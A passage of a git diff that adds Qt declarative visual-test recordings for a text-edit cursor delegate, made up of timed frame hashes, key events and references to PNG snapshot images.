+ hash: "55df0528a97d77d0a4b513aeedd34440"
+ }
+ Frame {
+ msec: 4224
+ hash: "55df0528a97d77d0a4b513aeedd34440"
+ }
+ Frame {
+ msec: 4240
+ hash: "55df0528a97d77d0a4b513aeedd34440"
+ }
+ Frame {
+ msec: 4256
+ hash: "55df0528a97d77d0a4b513aeedd34440"
+ }
+ Frame {
+ msec: 4272
+ hash: "55df0528a97d77d0a4b513aeedd34440"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4288
+ hash: "2165091c97a891560bf3afab879e6dbc"
+ }
+ Key {
+ type: 7
+ key: 82
+ modifiers: 0
+ text: "72"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4304
+ hash: "2165091c97a891560bf3afab879e6dbc"
+ }
+ Frame {
+ msec: 4320
+ hash: "2165091c97a891560bf3afab879e6dbc"
+ }
+ Frame {
+ msec: 4336
+ hash: "2165091c97a891560bf3afab879e6dbc"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4352
+ hash: "2165091c97a891560bf3afab879e6dbc"
+ }
+ Frame {
+ msec: 4368
+ hash: "2165091c97a891560bf3afab879e6dbc"
+ }
+ Frame {
+ msec: 4384
+ hash: "2165091c97a891560bf3afab879e6dbc"
+ }
+ Frame {
+ msec: 4400
+ hash: "2165091c97a891560bf3afab879e6dbc"
+ }
+ Frame {
+ msec: 4416
+ hash: "2165091c97a891560bf3afab879e6dbc"
+ }
+ Key {
+ type: 6
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4432
+ hash: "a3d7968e13768c4ec538fe9ba7edf142"
+ }
+ Frame {
+ msec: 4448
+ hash: "a3d7968e13768c4ec538fe9ba7edf142"
+ }
+ Frame {
+ msec: 4464
+ hash: "a3d7968e13768c4ec538fe9ba7edf142"
+ }
+ Key {
+ type: 7
+ key: 67
+ modifiers: 0
+ text: "63"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4480
+ hash: "a3d7968e13768c4ec538fe9ba7edf142"
+ }
+ Frame {
+ msec: 4496
+ hash: "a3d7968e13768c4ec538fe9ba7edf142"
+ }
+ Frame {
+ msec: 4512
+ hash: "a3d7968e13768c4ec538fe9ba7edf142"
+ }
+ Frame {
+ msec: 4528
+ hash: "a3d7968e13768c4ec538fe9ba7edf142"
+ }
+ Frame {
+ msec: 4544
+ hash: "a3d7968e13768c4ec538fe9ba7edf142"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4560
+ hash: "3b18ada8637d4024acfe88718765f71c"
+ }
+ Frame {
+ msec: 4576
+ hash: "3b18ada8637d4024acfe88718765f71c"
+ }
+ Frame {
+ msec: 4592
+ hash: "3b18ada8637d4024acfe88718765f71c"
+ }
+ Frame {
+ msec: 4608
+ hash: "3b18ada8637d4024acfe88718765f71c"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4624
+ hash: "3b18ada8637d4024acfe88718765f71c"
+ }
+ Frame {
+ msec: 4640
+ hash: "3b18ada8637d4024acfe88718765f71c"
+ }
+ Frame {
+ msec: 4656
+ hash: "3b18ada8637d4024acfe88718765f71c"
+ }
+ Frame {
+ msec: 4672
+ hash: "3b18ada8637d4024acfe88718765f71c"
+ }
+ Key {
+ type: 6
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4688
+ hash: "c419775870b0c5e41b5156c840e6a298"
+ }
+ Frame {
+ msec: 4704
+ hash: "c419775870b0c5e41b5156c840e6a298"
+ }
+ Frame {
+ msec: 4720
+ hash: "c419775870b0c5e41b5156c840e6a298"
+ }
+ Frame {
+ msec: 4736
+ hash: "c419775870b0c5e41b5156c840e6a298"
+ }
+ Key {
+ type: 7
+ key: 76
+ modifiers: 0
+ text: "6c"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4752
+ hash: "c419775870b0c5e41b5156c840e6a298"
+ }
+ Frame {
+ msec: 4768
+ hash: "c419775870b0c5e41b5156c840e6a298"
+ }
+ Frame {
+ msec: 4784
+ hash: "c419775870b0c5e41b5156c840e6a298"
+ }
+ Key {
+ type: 6
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4800
+ hash: "81a744f02650728c7557a27c94056e64"
+ }
+ Frame {
+ msec: 4816
+ image: "wrap.5.png"
+ }
+ Key {
+ type: 7
+ key: 89
+ modifiers: 0
+ text: "79"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4832
+ hash: "81a744f02650728c7557a27c94056e64"
+ }
+ Frame {
+ msec: 4848
+ hash: "81a744f02650728c7557a27c94056e64"
+ }
+ Frame {
+ msec: 4864
+ hash: "81a744f02650728c7557a27c94056e64"
+ }
+ Frame {
+ msec: 4880
+ hash: "81a744f02650728c7557a27c94056e64"
+ }
+ Key {
+ type: 6
+ key: 46
+ modifiers: 0
+ text: "2e"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4896
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 4912
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 4928
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 4944
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Key {
+ type: 7
+ key: 46
+ modifiers: 0
+ text: "2e"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 4960
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 4976
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 4992
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5008
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5024
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5040
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5056
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5072
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5088
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5104
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5120
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5136
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5152
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5168
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5184
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5200
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5216
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5232
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5248
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5264
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5280
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5296
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5312
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5328
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5344
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5360
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5376
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5392
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5408
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5424
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5440
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5456
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5472
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5488
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5504
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5520
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5536
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5552
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5568
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5584
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5600
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5616
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5632
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5648
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5664
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5680
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5696
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5712
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5728
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5744
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5760
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5776
+ image: "wrap.6.png"
+ }
+ Frame {
+ msec: 5792
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5808
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5824
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5840
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5856
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5872
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5888
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5904
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5920
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5936
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5952
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5968
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 5984
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6000
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6016
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6032
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6048
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6064
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6080
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6096
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6112
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6128
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6144
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6160
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6176
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6192
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6208
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6224
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6240
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6256
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6272
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6288
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6304
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6320
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6336
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6352
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6368
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6384
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6400
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6416
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6432
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6448
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6464
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6480
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6496
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6512
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6528
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6544
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6560
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6576
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6592
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6608
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6624
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6640
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6656
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6672
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6688
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6704
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6720
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6736
+ image: "wrap.7.png"
+ }
+ Frame {
+ msec: 6752
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6768
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6784
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6800
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6816
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6832
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6848
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+ Frame {
+ msec: 6864
+ hash: "ed1520bf20159e60c6a75bbf07f3a6ee"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.0.png
new file mode 100644
index 00000000..b24344c3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.1.png
new file mode 100644
index 00000000..5e29359b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.2.png
new file mode 100644
index 00000000..0ffee647
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.3.png
new file mode 100644
index 00000000..6c56e9c3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.4.png
new file mode 100644
index 00000000..276170d3
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.5.png
new file mode 100644
index 00000000..3d8709fd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.6.png
new file mode 100644
index 00000000..80b960c1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.7.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.7.png
new file mode 100644
index 00000000..72472771
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.7.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.8.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.8.png
new file mode 100644
index 00000000..af5a996b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.8.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.9.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.9.png
new file mode 100644
index 00000000..b254164f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.9.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.qml
new file mode 100644
index 00000000..38190433
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/cursorDelegate.qml
@@ -0,0 +1,1499 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "6e8324bf913d9df21a59ab4337257c15"
+ }
+ Frame {
+ msec: 32
+ hash: "4e068995d68e8939e6560e35b685e839"
+ }
+ Frame {
+ msec: 48
+ hash: "761b09bce25b3b240093d16ad02268d7"
+ }
+ Frame {
+ msec: 64
+ hash: "1ecb6d7d08d4e4e14db28e24a60eccc4"
+ }
+ Frame {
+ msec: 80
+ hash: "642417a56b3d6b8b35f5aec1bf0a9d2c"
+ }
+ Frame {
+ msec: 96
+ hash: "2e24870a44d3fc6c6d5c920bab29d417"
+ }
+ Frame {
+ msec: 112
+ hash: "9a59d0672f2a752943561af89fd71d7f"
+ }
+ Frame {
+ msec: 128
+ hash: "c359dd36910678a30f935a13c8680ee4"
+ }
+ Frame {
+ msec: 144
+ hash: "245f1e127549e9b28c7574ffb143fcde"
+ }
+ Frame {
+ msec: 160
+ hash: "8df3d3dbce673311d88c055e8dffaeb5"
+ }
+ Frame {
+ msec: 176
+ hash: "590fdeaddb3df033a1908a8a95fcd17a"
+ }
+ Frame {
+ msec: 192
+ hash: "a158891c8d2ee3899463412a3363e48c"
+ }
+ Frame {
+ msec: 208
+ hash: "e9ec2c82f46b36fbd0285ce6795c7cf9"
+ }
+ Frame {
+ msec: 224
+ hash: "0a02598af770dfe1d332f10c9482e770"
+ }
+ Frame {
+ msec: 240
+ hash: "8765475468bccbd0df897a533241f3c5"
+ }
+ Frame {
+ msec: 256
+ hash: "4cd9deed66bfdfadde8f8bf34f0e5513"
+ }
+ Frame {
+ msec: 272
+ hash: "139bf5a1811beb2438df4ecfa3bbaac7"
+ }
+ Frame {
+ msec: 288
+ hash: "9d51555afd71a7035e67a543846dcf7f"
+ }
+ Frame {
+ msec: 304
+ hash: "de187b58fc8dfaad2d62e9463691b0c0"
+ }
+ Frame {
+ msec: 320
+ hash: "9f88ac6d71246b06ca7ce9d8d983c91b"
+ }
+ Frame {
+ msec: 336
+ hash: "a43c12a7d6597d171112dc43085a439e"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 352
+ hash: "ad38f32755f669837ec2243e355ebc85"
+ }
+ Frame {
+ msec: 368
+ hash: "d87bd14345c785cc7e78a5c5462b90ec"
+ }
+ Frame {
+ msec: 384
+ hash: "77850031e012246dd967ac689e353eb3"
+ }
+ Frame {
+ msec: 400
+ hash: "f1bd048cd9167a8f162d1c39aca4f7c1"
+ }
+ Frame {
+ msec: 416
+ hash: "0fa030c5da23f23a0665a535e23b84a2"
+ }
+ Frame {
+ msec: 432
+ hash: "af3a5f1982459164dfec26746172b0eb"
+ }
+ Key {
+ type: 6
+ key: 16777248
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 448
+ hash: "0de90659472b63dd41a5602197ff502e"
+ }
+ Frame {
+ msec: 464
+ hash: "81e40abf91017614a52e03bb2474549f"
+ }
+ Frame {
+ msec: 480
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Frame {
+ msec: 496
+ hash: "7bae45481596788afde8866a3c97edd7"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 512
+ hash: "0416581d32ab84680dfc26b6f546d2c5"
+ }
+ Frame {
+ msec: 528
+ hash: "0416581d32ab84680dfc26b6f546d2c5"
+ }
+ Frame {
+ msec: 544
+ hash: "0416581d32ab84680dfc26b6f546d2c5"
+ }
+ Frame {
+ msec: 560
+ hash: "0416581d32ab84680dfc26b6f546d2c5"
+ }
+ Frame {
+ msec: 576
+ hash: "ac98b973e6d12193829139661d3e5847"
+ }
+ Frame {
+ msec: 592
+ hash: "366907376adae4d88d42d1b9e7533ec0"
+ }
+ Frame {
+ msec: 608
+ hash: "5f486d0a21c74f2ba50afcafa8c15453"
+ }
+ Frame {
+ msec: 624
+ hash: "a3bf6dde525e528745272a8e43fc895c"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 640
+ hash: "4ffb297d2a98a3d13b848af569b1b5b5"
+ }
+ Frame {
+ msec: 656
+ hash: "3679a17658e417bf08fc86d4bef0d4e9"
+ }
+ Frame {
+ msec: 672
+ hash: "5c6a25284ffd13350425e792fd143421"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 688
+ hash: "09a2c1032d0206e20340ae4267525f98"
+ }
+ Frame {
+ msec: 704
+ hash: "0036070d9a7ee854b3612858af46ab59"
+ }
+ Frame {
+ msec: 720
+ hash: "8774509eaa5fc29385da89214ef77589"
+ }
+ Frame {
+ msec: 736
+ hash: "6d4f8ebf046148e5079f498396c119b4"
+ }
+ Frame {
+ msec: 752
+ hash: "4c7d5d2f77116c96357b0791348af058"
+ }
+ Frame {
+ msec: 768
+ hash: "398c927a3525d5b90a5dd7a05ba9467b"
+ }
+ Frame {
+ msec: 784
+ hash: "d84b45f6acb8cbd399d4ed6bf80ce132"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 100663296
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 800
+ hash: "40c597d9e04e8e0daf62f58b9e7973b3"
+ }
+ Frame {
+ msec: 816
+ hash: "2c7fdd47e29d924e3e008a6840e0e6be"
+ }
+ Frame {
+ msec: 832
+ hash: "2b3229bb1aa220499114f274cf643ce9"
+ }
+ Frame {
+ msec: 848
+ hash: "e55446874c1a343ce3607d679d69d1d4"
+ }
+ Frame {
+ msec: 864
+ hash: "6824708eb176a9cf92f241d4054800dd"
+ }
+ Frame {
+ msec: 880
+ hash: "d386230dd416740625eb4f677ef4531b"
+ }
+ Frame {
+ msec: 896
+ hash: "9b2fbddab890dbe43e84e85bf320e6c1"
+ }
+ Frame {
+ msec: 912
+ hash: "1d1065aca7eb47f0096bc2c8c4320880"
+ }
+ Frame {
+ msec: 928
+ hash: "d97ba6e2bfc021fe993afdb5b28316ba"
+ }
+ Frame {
+ msec: 944
+ hash: "3a3a2f340bf1ccb14eab0562d7ecfe87"
+ }
+ Frame {
+ msec: 960
+ image: "cursorDelegate.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "ea4f4c1de5bfb1be43ab0188afb7189c"
+ }
+ Frame {
+ msec: 992
+ hash: "399ca2d4411d3fb226c94bd32a17d0cd"
+ }
+ Frame {
+ msec: 1008
+ hash: "ca78503396613536c8e4076884354cb1"
+ }
+ Frame {
+ msec: 1024
+ hash: "ca78503396613536c8e4076884354cb1"
+ }
+ Key {
+ type: 7
+ key: 16777249
+ modifiers: 33554432
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1040
+ hash: "399ca2d4411d3fb226c94bd32a17d0cd"
+ }
+ Frame {
+ msec: 1056
+ hash: "ea4f4c1de5bfb1be43ab0188afb7189c"
+ }
+ Frame {
+ msec: 1072
+ hash: "d23d7492b85e4f30994ecd64e8273ff6"
+ }
+ Frame {
+ msec: 1088
+ hash: "3a3a2f340bf1ccb14eab0562d7ecfe87"
+ }
+ Frame {
+ msec: 1104
+ hash: "d97ba6e2bfc021fe993afdb5b28316ba"
+ }
+ Frame {
+ msec: 1120
+ hash: "1d1065aca7eb47f0096bc2c8c4320880"
+ }
+ Frame {
+ msec: 1136
+ hash: "9b2fbddab890dbe43e84e85bf320e6c1"
+ }
+ Frame {
+ msec: 1152
+ hash: "d386230dd416740625eb4f677ef4531b"
+ }
+ Frame {
